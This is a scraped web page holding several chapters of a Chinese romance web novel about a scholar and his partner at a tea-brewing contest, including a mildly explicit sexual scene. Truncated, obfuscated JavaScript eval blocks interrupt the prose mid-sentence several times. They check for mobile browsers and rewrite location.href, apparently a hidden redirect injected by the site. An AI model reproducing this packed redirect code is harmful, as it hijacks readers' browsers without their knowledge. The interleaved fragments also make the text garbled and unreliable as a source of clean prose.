l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062388|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客套。挑不出毛病，但也感觉不到温度。 “骆公子客气了。在下孟知彰。”回礼不卑不亢。 骆耀庭回身高声叮嘱小厮：“再去看看茶坊中能否再为孟公子腾挪一个赞助名额。” 孟知彰抬手拒绝了：“斗茶清会的墨斗环节，在下也会参加，不过不必占用贵坊的赞助名额。当然也谢过薛兄的好意。我们已有茶坊，此时不便透露更多信息。墨斗场上，我们再做切磋。” 说到“我们”时，孟知彰垂眸与身旁的庄聿白交换下眼神。两人都明白，这个茶坊就是他家兰花炭的主顾，缘来茶坊。 缘来茶坊的茶虽然好，但毕竟在府城根本无法跻身名店，是个不入流的小铺子。而且铺面本身不在府城，哪怕茶再好，过了这几日也会人走茶凉。毕竟这群赴试学子们能在知府、学政与南先生等人面前露脸的机会可不多。这不多的机会，自然是要选名气高的大茶坊，稳妥。此次清会上，缘来茶坊虽广受好评，但是屈尊来让其赞助的学子寥寥无几。不客气地说，就是一个也无。 此时家丁耳语几句，骆耀庭脸色微变，向众人尤其是孟知彰夫夫与薛启辰拱拱手，告辞走了。 骆家大公子一走，众人的关注点全部移到悦来茶坊的摊台上。 悦来茶坊这摊台和精巧水榭一般无二，吊脚楼般依水而设，两边设有暗格，丝竹管弦乐伎端坐其内，妃色帷幔一垂，微风轻拂，如云蒸霞蔚，甚是撩人心魄。 丝竹声起，台下人群骚动起来，各个引颈看向左侧摊台前的一挂水晶帘子。果然随着帘声叮咚，环佩叮咚，一个飞天菩萨般造型之人莲步走了出来。虽面上纱巾半遮，庄聿白还是一眼看出这就是那日街上见到的九哥儿。 “九哥儿！九哥儿！九哥儿！”台下已经声浪震天，身边的薛启辰更像个狂热粉丝，大声叫好之外，还不时从怀中掏出香囊什么的，和众人一起呼啦啦往台上扔。 一时台上鲜花、玉佩、香囊等物撒个不停，就在这近乎巅峰的声浪中，九哥提壶端盏舞动起来。 他上身以彩锦斜裹，半露小臂与腰身，下身是一件长至脚踝的闭合长裙，又有一片石青色蜀锦布巾围在腰上。薄纱罗制成的披帛松松缠在手臂间，和上臂处巾帕缠就之物，想必就是那日提及的臂钏。 丝乐时徐时疾、时抑时扬，踩着节奏，九哥儿在台上边舞边制茶。舞姿遒劲婉转、轻盈有力、健而不妖，宛如一名海上仙子在河清海晏的圣境翱翔。 庄聿白哪里见过这般盛况，一双手都要拍麻了。他原也想打赏些什么，忽然发现囊中无他物，顺便将手中的几块兰花炭样品，放在台上。 一时舞罢，九哥儿拿手的飞天茶已成。九哥儿将茶水分成小盏，分与台下众人。走到孟知彰与庄聿白跟前，他忽然扯下遮面纱巾，恭恭敬敬跪了下去。 “九哥儿谢两位恩人搭救之恩。若不弃，请收下奴家臂钏。” 说着，九哥儿当着众人的面，伸手去解臂上巾帕。 全场哑然，不知哪里飘来一片树叶，坠落摊台之声，异常清晰。 66. 安慰 庄聿白不知臂钏为何物，正眼巴巴等着对方解开。 一旁的薛启辰惊得下巴掉到地上，声音都有点颤了：“九哥儿，你是要……” 九哥儿未答言，但大家心中都清楚，九哥儿这种伎人，当众送人臂钏，与当众以身相许没什么两样。 全场所有目光，瞬间汇聚孟知彰身上。 众人皆好奇这个高大威猛的书生是谁。九哥儿可是东盛府首屈一指的茶伎，也是骆家活招牌。 即便骆家，都明令约束子侄，不论是谁，皆不能染指，起心动念也不行。他家二少爷费了多少精力，软磨硬打，前些日恨不能当街办事了，九哥儿都没点一下头。 眼下这穷书生，看上去不像个有钱有势的。不图权势，那就是图人图才华。但论才情，满府城童生中谁还能比得上骆家大公子？若说权势，那更不用说了。实在要说一处好，那就是这书生相貌好些。 但托付终生，长得好是最无关紧要的。九哥儿莫要凭人家一张脸，就犯糊涂啊。 孟知彰站在一旁自是看出庄聿白对这臂钏很感兴趣。他虚拢着庄聿白向后退了半步，恭敬对九哥儿施了一礼，正色道：“九先生，抱歉了。” 然后牵紧庄聿白的手，走了。 天擦黑时夫夫二人和牛大有赶回山中院落。 此次武举比试的最后一场安排在明日，云无择和长庚师父东厢仍然黑着。 晚饭是牛大有和孟知彰下厨，三人围坐一起，静静埋头吃饭。莫名的沉默随着灯光在房间内弥散。 “今日那九哥儿是看上你了？” 牛大有突如其来的一句话，三人皆停了筷子。 静。整座齐物山都像停了呼吸。回声在庄聿白耳中回荡，荡得他心里闷闷的。 牛大有承认自己不机灵，很多事反应慢半拍，但今天他冷眼看着九哥儿当众解臂钏，又加上后来现场众人反应，忽然品出些味儿来。 有钱读书人家三妻四妾，不是什么稀奇事。可你孟知彰不同。牛大有颇有家中长兄的风范，见二人不讲话，便知此事是真，以一种不容反驳的口气道：“知彰，我不管什么九哥儿、八哥儿的，都不行。琥珀，就很好。” 话没继续往下说，庄聿白也明白牛大有这是在替自己撑腰，唯恐孟知彰经不住诱惑纳了九哥儿，甚至停妻再娶。 庄聿白给牛大有递了张饼子，笑说：“九哥儿也不错的，长得好，会赚钱，性格也温和，还非常会交际……” “他好，那是他的事，和我们无关。”牛大有上了牛脾气，一口撕下半张饼子。 他甚至有些生气。因为孟知彰全程没说一句话，甚至连态都没表。 一顿饭草草收场，七分饱里有五分还是气饱的。 山中秋意早，尤其夜间冷露下来，浑身凉津津的。 庄聿白紧了下衣襟，起身去关房门。 第一次如此近距离观看小哥哥跳舞，这让庄聿白深受震撼，他此时此刻满脑子还是九哥儿在台上舞动的曼妙身姿。 美，美得不可方物。翩若惊鸿，宛若游龙，瞬间有了实体。 难怪那五迷三道的骆耀祖失了魂一般惦记，只为一近芳泽。连他庄聿白只见了几面，也想着和人家交朋友。香香美美的小哥哥，谁不喜欢呢？何况血气方刚的孟知彰…… 轻掩房门的手，忽然一滞。 一个更高大的身影，盖过庄聿白的影子，正缓缓印在门上。 轻微的“哐当”声中，房门关紧，从身后伸出的两只大手按住木门，就停在庄聿白细长的手指上方，一动不动。 孟知彰从庄聿白背后欺身上来：“天凉了。” 低沉的声音从头顶飘来，很轻，很近。同样很轻很近的呼吸，洒在庄聿白后颈，洒上他琥珀色的头发，温温的，麻麻的。 庄聿白没敢轻举妄动。 他越发感觉到身后宽阔的胸膛，就像虚虚覆上来的一块滚烫热源。庄聿白被围困在滚烫身躯和这紧掩的两扇门之间，半分动弹不得。 脑海中不知代入了什么奇怪片段，一股燥热从下而上通遍全身。庄聿白一下红了脸。 带着恼羞成怒，庄聿白忽地转身，恶狠狠瞪着孟知彰。他知道两人离得很近，没想到离得这么近，近得他此刻仰起头也只能看到人家坚毅的下颌。 庄聿白不觉退后一步，但身后木门只给了他退半步的机会。 “咣啷”庄聿白肩背贴在门上，后脑却被一直温热宽厚的掌心稳稳托住。 孟知彰对这突如其来的失控似乎并不意外，任由眼前这个倔强的小人仰脸瞪着自己。圆乎乎的黑眼珠，亮晶晶，忽闪忽闪的睫毛在白皙的脸颊留下一点点阴影，衣衫下的胸脯因气愤而起伏幅度明显变大。 孟知彰将人托在掌心，带着不经意的强势，保持壁咚的姿势，甚至想探寻对方为何生气而微微侧头，俯身压下来。 孟知彰不知何时身上只剩就寝穿的中衣，虽是如往常般一丝不苟穿裹在身，可他此时逆光而立，身后的灯光打在身上，庄聿白的角度看过去，这层中衣就像半隐了形，若隐若现地虚罩在孟知彰身上，给其下的结实健壮的躯体披了一层轻柔的光芒。 庄聿白尽量克制地将视线停留在孟知彰下颌上。但对方强烈的雄性荷尔蒙气息，却像涨潮的海浪，一股接一股朝他涌来。庄聿白正被对方亲手打造的牢笼死死困在这海滩上，躲不开，也逃不掉。 庄聿白面上云淡风轻，其实头脑已经开始发昏。他艰难地咽了下喉结，才意识到不知何时自己竟屏住了呼吸。 “……九哥儿，”庄聿白声音有些紧，他轻咳一声，稳住呼吸，“如果你放弃偏见，或许会发现九哥儿……的好。” “我从不以偏见视人。而且我从未觉得九哥儿不好。”孟知彰脸上没有情绪，声音淡淡的，“茶伎如何？读书人又如何？以真本事谋生立命，这就是最高尚之举。持三六九等之分别心之人，才会‘偏见’地将人分为三六九等。” 脖子以上，孟知彰就是清冷书生、禁欲君子的标杆。可他掌心慢慢下移，已经控住庄聿白细长白皙的后颈，另一只手还严严挡在庄聿白身侧。 庄聿白觉得自己无路可逃，他目光开始游离，试图在这固若金汤的铜墙铁壁间，找到一条生路。 海神操控着海浪，似乎将横扫天地的狂风暴雨全压在他一念间。声音更冷，更沉：“如果你能放弃偏见……” “偏见？我？”庄聿白下意识抬眸，撞上孟知彰冷峻又冰凉的眼睛。 这双眼睛带着能洞穿一切的目光，咄咄逼人压过来，看得庄聿白毫无招架之力。庄聿白自认自己向来坦荡，没什么见不得光的心思。但这灼灼目光逼迫下，他似乎没那么自信了，还有种随时想缴械投降的臣服念头。 视线看不到的地方，庄聿白的手指恨不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073659|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抠到肉里：“我有什么偏见？！我一向认为九哥儿很好！如果你想娶……” “我不想！” 庄聿白的话被恶狠狠打断的同时，他脚下一空，整个人也猛然离了地，被打横抱起紧紧控进孟知彰怀里。 “嗳——孟知彰你干什么，放我下来！”猛然失重，庄聿白下意识搂紧孟知彰的脖子。 孟知彰的脖颈滚烫有力，孟知彰的胸膛滚烫有力，孟知彰胸腔中说出的话，同样滚烫有力：“刚你说，如果我放弃偏见，或许会发现九哥儿的好。庄聿白，我问你——” “问我什么？”庄聿白一时愣住。孟知彰从来没这般提名带姓叫过自己名字。 “庄聿白，如果你放弃偏见，会不会发现……我的好？”孟知彰声音冰冷，眼神冰冷，庄聿白却感觉自己要被烫化了。 庄聿白张了张口，实在不知道该从哪里开始否定。若否定对他没偏见，这也不尽然，毕竟自己对男男……若是否定没看到他的好，这也不对。可当下自己被人家揣在怀里，自己还说知道人家的好，这与宽衣求-欢又有什么区别？太暧昧了吧。 不等庄聿白头脑风暴出个应对方案，孟知彰有力的臂膀紧了紧，大步将人往床上抱。 “孟知彰，你！”庄聿白像只受了惊吓并出现应激反应的小猫，在孟知彰身上没有分寸地乱踢乱蹬乱挣扎。 “唔！痛……”忽然孟知彰身体紧缩，僵硬地将庄聿白放在床上，自己则一动不动躬在床边，捂着身体的某个部位。 慌乱中，庄聿白的膝盖是不小心撞了他一下，但他没想到撞在了那里，更没想到孟知彰竟然会喊痛。 不像装的，孟知彰额头已经渗出些细汗。 身体重要的几个点，太过兴奋时，猛然被刺激到是会痛的。很痛。 庄聿白一下慌了，满脸愧疚让他白皙的脸庞涨起红潮，唇色也更红了。他跪坐在孟知彰身边，歪下头仰脸去探查孟知彰的情况。 “……对不起，我真不是故意的。” 庄聿白撩起袖子，帮孟知彰擦额头的细汗。 孟知彰抬手将人轻轻推开，似乎并不领情。 庄聿白像做错事的孩子，嘟嘴坐在哪里，弄坏了别人，他自己倒委屈的跟什么似的，还时不时向孟知彰这边蹭近些，眼睛更是咕噜噜时刻观察，唯恐错过孟知彰任何指令。 孟知彰缓了片刻，侧坐在床边，眼神淡淡地看着庄聿白，不带情绪：“你……安慰下它。” 安慰？怎么安慰？这部位……能怎么安慰？ 庄聿白一整个怔住，他发现孟知彰的眼神从自己的眼尾移走，开始死死盯着自己的唇……唇？！半日他方颤颤巍巍、不可置信地挤出几个字：“……用口吗？” 孟知彰眸底暗了又暗，沉了又沉，最后选择了仁慈。 “……用手。” 声音极度压抑，似乎稍一不留神，身体中潜伏的那头猛兽，便会逃窜出来不受控地为所欲为。 齐物山上最后一盏灯也熄了。 一床喜被，盖住两颗躁动不安的心，各怀心思，各有所图。 “还要安慰多久……” “……安慰到我说停。” “那安慰的时候，可以动一动么……” “自便。” 以免弄痛人家，庄聿白的手一直虚拢着。得到授意后，他手心微压，有节奏地用了些力气。 67. 彩头 庄聿白的手仍放在那坚实宽阔的胸膛，对方没说停，他没好意思收回手。掌心下的心跳坚实有力，此时已渐渐恢复平稳。 “我知道你刚才为什么会生气。”庄聿白清楚对方没睡。 对方呼吸平稳，没说话。 庄聿白继续：“你是觉得若九哥儿有意，而你收了他的东西或者收了他的人，我就会走，是不是？” 或许是错觉，庄聿白觉得掌心下的心跳漏了一拍。 庄聿白手上动作没有停，但那正被安慰的小东西，似乎需要更多安慰了。 “我暂时是不会走的。你放心。”庄聿白换了个姿势，手中断了须臾，好在及时续上了。 “我们来府城时间虽短，但我留意观察过了，这边商机之多，是暨县无法比拟的。若茶炭和金玉满堂的生意能做在这边，咱岂不是可以赚更多？最重要的是，你读书需要一个更好的学习环境，我们要学孟母三迁。我自是相信你的才学，但三省书院进不去的话，府城其他书院我们也试试，教学资源一定比暨县的要强些。只是这边房价高，生产场地和销售渠道也是难题……没事，总会有办法的！” 庄聿白想了一会儿，浸染了夜色的眸子越发清澈，在黑暗中泛着点点水光。 “说回九哥儿之事，其实你我是好兄弟，我自然是希望你好的。府城知道你有婚约的人不多，虽然咱现在还只是考秀才，将来中举人、考进士也绝对没问题，凭你的能力将来还是很有一番作为的，我听过很多榜下捉婿的故事，到时看上你之人一定也排起了长队。” 庄聿白的手仍然没忘记自己的主线任务，不过他此时的心思已经完全不在手心的这个小东西上面。 “我的意思是，你不要提自己有夫郎之事。我还是你表弟。我赚钱养你，你读书做官，带我游历。万一有人去孟家村打听，就说夫郎病死在外面了，也不是不可以。孟知彰，若有什么宰相将军看上你，招你入赘……或者直接被公主看上，封你做驸马！那我就是驸马表弟，我也算是个编外皇亲国戚了吧。” 庄聿白又说了些七七八八的，无外乎万一当上驸马，就可以去京城住大房子，也能过上锦衣玉食的好日子，满街的糖人他想吃多少就吃多少之类的。后来他小猫一般，软软打了几个哈欠，声音跟着渐渐弱下去。 孟知彰睁开眼，他将完全软在自己胸膛上的那只手轻轻拿起来，翻身朝里卧好，再将那只手小心搭在自己身上。 一个人，想要真正走近另一个人，靠的绝非一纸婚约。这一点，孟知彰从来都清楚。 月光微弱，但足够孟知彰看清散落在白皙脸颊上的琥珀色发丝，他抬手仔细理在耳侧。 只要在自己身边，一切都有可能。孟知彰收回手指时，又虚虚摩挲了两下眼尾的那枚泪痣。 日子还久。我们，不急。 孟知彰将那床大红喜被，帮怀中人掖了掖，露出小小一个精致下巴。 怕惊醒怀中人，孟知彰只是用眼神轻柔勾勒着下巴的线条，一遍又一遍。 * 不知是源自昨夜出于好兄弟关系的“安慰之事”，还是安慰之时庄聿白说的那些“肺腑之言”，希望孟知彰被榜下捉婿，带着庄聿白一起成为皇亲国戚之类的伟大构想，今日的庄聿白有意无意躲着孟知彰。 出门前，更悄悄提醒孟知彰，他可以恢复单身身份。若机会来了，千万要把握。 这种疏远连牛大有都看出来了，憨声憨气给庄聿白撑腰，说，若是孟知彰敢做对不起琥珀的事，他牛大有第一个不愿意。 今日是今年秋季斗茶清会最重要的活动——学子墨斗。凡事和文人墨客沾上关系，那就清雅起来，尤其在这斗茶之风盛行的府城，简直成了一场全城盛会。 知府大人同新上任的学政大人，以及南先生和其他应邀出席的各界名流等，会对清会上每位学子的制茶过程及进行观摩和点评，最后评出一名茶魁。 府城百姓都等着一睹今年茶魁的风采。当然除了院试榜首和武举榜首之外，最受人关注的就是这位即将面世的茶魁了。 正如此前薛启辰所言，不少高门贵户家中有待字闺中的女儿或哥儿的，都早早备好的帖子，生辰八字都备好了。 除了荣誉，也有实打实的好彩头可拿。茶魁在内的前三名可依次挑选一件。关于这三件彩头早就传开了。一方五星联珠图纹的端砚，一本极为难得的前朝善本书，以及半饼团茶。 坊间议论纷纷，说这块端砚就是当年女皇赐给狄大人的那块，自然是价值连城。若是谁家得了，哪怕转手卖掉，也够一辈子锦衣玉食；善本书来头也大，听说连嗜书如命的什么王爷当年都是求之不得。不过关于这半饼团茶，众人态度模棱两可。茶饼而已，纵使千好万好，哪怕是金子做的，又能值几个钱？ 关于这些彩头，庄聿白自然也从薛启辰那里听到些传闻。要么说二人一见如故呢，两人都觉得这砚台好，其次是古书。薛启辰更是直接开口：“琥珀兄，若是孟书郎得了这砚台，看在你我相识的份上，借我摸一摸。” 庄聿白心里却没了底。他见了九哥儿制茶，与此前云先生教孟知彰的路数大为不同，若这墨斗以这个路数定乾坤，孟知彰……管他呢，各花入各眼，万一孟知彰运数好，万一这些评委们专好这口，万一一个不小心这馅饼就是掉到咱家碗里了呢。 “好，若是孟知彰得了茶魁，我们让他选砚台。”庄聿白看好了那方砚台，说不定就有万一呢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080141|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这茶魁哪是那么好得的。 好茶、好水、好器、好技，自然是缺一不可。当然哪一样不是拿钱堆出来的？尤其这最后一样，茶术，更是非一日之功，非一人之力。若是没有一定的家资托着，谁家有闲钱闲心练习这个。 当然还要有好的赞助商，若找的是小摊小台，知府大人等一路点评过去，好不容易走到你跟前，你的茶汤凉了，或者茶膏化了，岂不是白忙活一场。 所以虽然尚未正式“茗战墨斗”，多数人心中已经有了茶魁人选，那就是骆家大公子骆耀庭。要人品有人品，论相貌有相貌，家资家教更是数一数二，更有一个府城最大的悦来茶坊在身后顶着。今年茶魁，非骆耀庭莫属。 甚至比赛头一天，已经有不少人将准备好的贺礼悄悄送去骆家，当然中间或夹杂银票，或藏着庚帖等。若正妻之位实在争不上，只要能进骆家门，哪怕当个填房姨奶奶也比外面小户人家的大娘子还要尊贵。 骆耀庭还是有些骄傲和清高在身上的，这种事情他向来不屑，全然交与父亲去处理。自己是个读书人，读书求知，斗茶养性，他这榜首和茶魁的位子，自然要拿得坦坦荡荡，风风光光。 骆耀庭就是要让世人看看，尤其那位自以为是的书生瞧瞧，什么是真正的大家公子风范，什么是清雅读书该有的气度。 这日一大清早，悦来茶坊的摊台前便已挤满了人，骆家大公子难得登台制茶，他们要亲眼见证下这位新任茶魁的面世，见识下东盛府最顶级的制茶技艺和翩然如玉的公子风采。 骆耀庭一身清雅儒衫，志在必得地端坐在主摊台上。袅袅丝竹之声萦绕四周，三名书童跪坐两旁，一人侍水，一人侍茶，一人则手持竹扇将这满台茶香轻轻扇送在越聚越多的人群中。 “骆公子果然人中龙凤，一表人才，不仅是世家子弟的楷模，将来成为天子门生，做得一方父母官，那才真是百姓的福气呐。” “是啊。公子世无双，此情此景只应天上方有，奈何老朽我上世积德，今日也有机会得见公子一面呐。” 骆家摊台前来凑趣捧场之人越来越多，赞扬声近乎将清幽丝竹之声完全淹没。更有识趣的家丁，早将红包赏到那能说会道人的手里。 骆耀庭听得很受用，他微微侧身，身旁侍扇的小厮忙躬身过来，低头听命。 “那个叫孟知彰的书生，今日在谁家摊位？”今日的茶饼似乎有些过硬，骆耀庭用茶针狠力扎了两下。 “回公子，一家叫缘来茶坊的小摊子。”小厮跪着向前挪了挪，压低声音，“公子，需不需要我们派人去……” 此时派去前方探路的小厮跑回来：“知府大人的队伍还有一炷香时间就到了，请公子准备下。” 68. 茗战 骆耀庭对此次斗茶清会的茶魁之位，势在必得。 茶具用的是黑釉兔毫盏。黑釉盏的曜变，入窑数千盏难出珍品一件，可遇不可求。所以骆耀庭茶台上摆着的这几盏，是家资更是财力。人群中懂行之人频频咂舌。 骆家备的茶，是仿制贡茶“龙园胜雪”工艺而做的一款极品蜡面团茶。围观看客中有识货的，团茶一拿出，便惊呼声四起。 茶饼隔炭细焙，香味弥散四溢，惊叹声更是让稳坐茶台的骆耀庭嘴角止不住上扬。 台下有人已经忍不住介绍起来，据说这龙园胜雪极为难得，制作工艺之繁复非常人所能及。每片茶叶必须为银丝水芽，剔去已拣熟芽，只取其心一缕，之后经“十六水”“十二宿火”，也就是需过十遍水细细研磨，待茶粉轻薄如云霭时方合格，随后制团成型，小火慢慢烘焙一晚为一宿火，为使茶团内外烘焙透彻，茶团还需喷淋水雾，第二天继续烘焙，如此十二宿，之后还要加上龙脑等上好香料加以熏制。期间任何一个过程出现纰漏，都将前功尽弃。 对普通百姓而言，此生自是无缘贡茶的，但能见一见仿贡茶已属难得。 烹茶之水，是骆家着内院丫鬟们从齐物山上现汲水的山泉水。个个沐浴焚香，今日天未亮便登山，每人持一茶盏，从山上一路手捧着，一盏一盏聚满骆耀庭身旁的那个茶瓮。据说如此汲来的水，洁净、清甜，最适合斗茶时激发茶香。 骆耀庭看了眼身旁侍水小厮，意思是仔细看着些炭火，汤瓶中的水，三沸之后就烧老了，会有损茶味，更别过了炭气。 知府大人带着众人信步前行，在各个摊台前驻足点评，感兴趣的也会聊上几句。一行人被人潮簇拥着，缓缓走到悦来茶坊摊前。 骆耀庭小心掌握着时机与火候，碾茶，罗茶，点茶……众人来至摊台前时，几盏茶汤已成，时机刚刚好，成品刚刚好。骆耀庭将第一盏茶恭敬递与知府大人，之后是学政大人、书院山长等人，然后恭敬立于一旁等候品评。南先生与其他社会名流，则试饮分成小盏的茶汤。 茶汤黄白，内有真香，甘滑柔和，着盏无水痕，实属不可多得的茶水。 品茶之时，丝竹之声比方才更悠扬动听，清幽茶香伴着馥郁的香料之香，更有九哥儿登台，一支《羽之舞》又将骆耀庭的献茶提升了个境界，颇有几分鹤舞九天、诸仙分茶的意味。 三省书院院长频频点头，这可是自家书院的尖子生，今年的榜首人选的众望所归。此前他跟自己恩师南先生夸下海口的，若榜首和茶魁有一位出自三省书院，南先生便会将自己珍藏的一把竹扇送自己。他连扇套子都做好了，只等这位书院里的名人学子骆耀庭给自己赢到这扇子。 骆耀庭的这场登台献茶堪称视觉、听觉、味觉集大成的一场盛宴。山长看眼下这情形，至少茶魁是稳了，那自己的扇子也就稳了。这位山长悄悄扯下南先生的衣袖，眼神带着些晚辈的小得意。 南先生笑着指了指他，没有多做评论。 庄聿白和薛启辰站在人群中稍偏的位置，二人不知怎么也各混到一小盏这悦来客栈的茶。 “薛兄，虽说我不太懂茶。可我觉得这骆耀庭制的茶很好喝。”庄聿白又品了一口，心中开始忧虑起孟知彰的表现来。 薛启辰啧啧嘴，虽不想承认，但也只能说：“茶饼着实难得，水也不错，只是技术一般。但因为茶饼本身好，能遮住不少瑕疵。嗐！这茶魁看来要花落他们老骆家了。” 和薛启辰判断的一样，评审团一走，台下顿时围满人，各个喜笑颜开，拱手向骆耀庭贺喜：“恭喜骆公子！”“骆公子之茶魁，实至名归！” 众人将骆耀庭简直夸成仙子下凡般的存在。虽尚未正式评定名次，骆耀庭也觉得今日十拿九稳了，论茶饼，论水质，论摊台布置，不管哪一样，满府城怎会有能出其右者呢。 骆家小厮也高兴地围上来：“刚才公子在台上可能没看清，我离得近，知府大人和学政大人对公子的茶可都是赞不绝口呢。院试马上张榜了，家中人在那盯着，一有动静就来通知公子。今日是茶魁与榜首双喜临门呐！我这就回家告诉老爷和夫人一声，让家中先高兴起来。” 薛启辰一个白眼翻得又大又圆：“真是破裤子先伸腿。名次还没公布呢，自己先把帽子戴上了，还传扬的满城风雨。切，他们骆家从来不知道‘谦逊’两个字怎么写。” 知己知彼之后，庄聿白和薛启辰赶紧随着评审团往孟知彰所在的缘来茶坊的摊位走去。虽口中损着骆家，心中却凉风习习，对即将失去的砚台这个大彩头，还是不无遗憾。 孟知彰所在的缘来茶坊，本就是个很不起眼的小茶摊，位置还偏，很多人一睹骆家大公子的茶艺表演后便离开了，直接去前方临河凉亭附近等最后的茶魁揭晓环节。 斗茶评审团到得时，只有寥寥数人围在缘来茶坊摊位前，未及靠近，却闻到一股浓淡相宜的香气，纯粹，清爽，如御岚而行，不觉两腋习习清风生。 “知府大人可闻到兰花的气味？”学政疑惑地看看四周，这并非兰花盛开之际，怎会有兰花之香。 孟知彰立在茶台旁，恭敬朝来人行了一礼，对答：“今日所制之茶是元觉寺的兰因茶，因主持在茶园附近手植一片兰园，茶饼采集制作过程中便不觉吸入这兰花之气。这也是大人为何会闻到淡淡兰香。” 众人抬眼看了看这个身量高大的书生，衣着朴素，却难掩眉宇间的英气。 “你所用是何炭？” 学政大人似乎对茶炭很感兴趣，竟凑到跟前，甚至上前用火嵌拨弄了两下汤瓶下面正烧得澄亮的兰花炭。 “烹茶焚香之时，即便是最好的茶炭，仍难免有炭气萦绕。就比如方才骆家所用茶炭已经算府城上好的，但烹出的茶汤中，仍被这似有似无的炭气搅扰到。你这炭倒乖巧得很，我离得这么近，却几乎闻不到任何炭气。” 不远处的庄聿白心中一喜，看来这兰花炭即将拥有大有前景啊。以及，这学政大人真是有眼光。 这时候骆耀庭带着小厮也跟过来，就像一个刚交了满分答卷，又跑来观摩其他同学痛苦答题以为乐的学霸。庄聿白刚要拉着薛启辰离开，余光和孟知彰直直看过来的眼神撞到一起。 庄聿白心中又一沉。隔着人群，他使劲瞪了孟知彰一眼，警告他不要说出自己有夫郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085660|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事，若是敢挡了他庄聿白成为皇亲国戚挂件的路，定饶不了他。 孟知彰似乎看懂了庄聿白的“威胁”。特意将周掌柜请出来对答。 周掌柜魂都要吓出来了，他一市井商贩，何时见过这么多大人物，他刚要向知府大人下跪，却被拦了下来。今日是茶会，来者皆是茶友，知府让他站着回话即可。 周青回头看了孟知彰一眼，满眼感激，知道对方这是给自己露脸的机会。能亲自知府大人介绍自己茶坊，别人也不敢小瞧了自己。 孟知彰的茶尚未做完，他回到茶台，提起茶筅击拂拨弄一番，又以茶针为笔，细细勾勒茶乳汤纹，于茶面之上书写下小诗一首： 飞雪映红袍，铁蹄卷黄沙。 长风吹境土，仗剑卫邦家。 学政往那茶盏里看去，眼睛瞬时弯下来，满眼笑意关都关不住：“你是孟知彰？” 孟知彰心中一惊，他此前从未见过学政大人，连南先生在考试之前都特意避嫌，很久未私下相见。学政大人是如何知道自己名字的？ 不过他面上仍然恭敬沉稳，一副宠辱不惊的态度：“是。学生长宁州暨县孟知彰。” 学政没再说什么，尝过茶之后，随知府等人一同去了。 “水丹青？雕虫小技而已，不足为道。”素日与骆耀庭交好的三省书院学子瘪瘪嘴，怕学政当面夸了这叫“孟知彰”的书生，骆耀庭会不高兴，忙又巴巴凑到骆耀庭跟前。 “若论书法，谁能比得上我们骆公子。骆公子的书法那可是经过名家点拨的。两年前骆公子的墨宝已经有人出价十两银子一字了。哪怕单比书法，他一个乡野穷书生那两把刷子，又岂敢拿到骆公子面前班门弄斧！” “这字真好，不过像是哪里见过一般。”另有几个三省书院的学子，也跟着来凑热闹。越说越像是见过，可“孟知彰”这个名字又非常陌生，几人都未听说过，不像是哪位低调同窗，满府城今年参加童生试的人之中，若有人书法如此出众，他们应该听说过一二才对。这个人像是凭空冒出来的一匹黑马。 “奇怪，到底在哪里见过这字呢？” 忽有一人猛然驻足，脸上既兴奋又震惊，更多的是不可置信：“我想起来了！藏书阁中，南先生所资助的所有书册，全部都是这个字迹！” 此人一提醒，众人怔了怔，忙点头：“是了，是了。我说这字怎么这么熟悉！” 藏书阁是山长上任后，着力扩充修缮的。半数以上的书籍，来自南先生的藏书。当然这些全部是山长从恩师那好说歹说求来的，原本也极为珍贵，藏书阁中的其他书籍还可以借出带走，读完之后按期归还即可。但来自南先生的这些书册，全部定制书架珍藏，若想进阁阅读，皆需提前请示。 三省书院中也有人看不惯骆耀庭素日尾巴翘上天的傲娇劲，这下逮着机会，忙后将话问到骆耀庭面前： “骆公子，你最常去藏书阁了，我记得有段时间你特意临摹南先生书册上的字来着。还说这字，不仅有王羲之的遒美劲健、天然真趣，更有颜真卿的筋骨磅礴、沉着雄毅。今日这字的主人就在面前，骆公子不打算当面请教一番么？” 69. 名帖 水丹青一出，有人认出孟知彰的字迹。 府城读书人圈子中令人追捧已久的字体，竟然出自一个名不见经传的穷书生。消息一出，众人惊愕不已。 骆耀庭原想展现大家气度，略尽地主之谊，上前攀谈一番，恭贺两句水丹青出众之类的，一抬头见庄聿白与孟知彰的眼神正隔空搅缠在一起，挤眉弄眼不知搞些什么，顿时心下大不爽。 又有素日相见两相厌之人，非在此时来惹人嫌，当众揭自己之短，将自己临摹书册书法之事明晃晃抖到太阳下面。他是看在南先生的面子上才会高看这字迹几眼。若知道是如此一书生，谁会巴巴临他的字！ 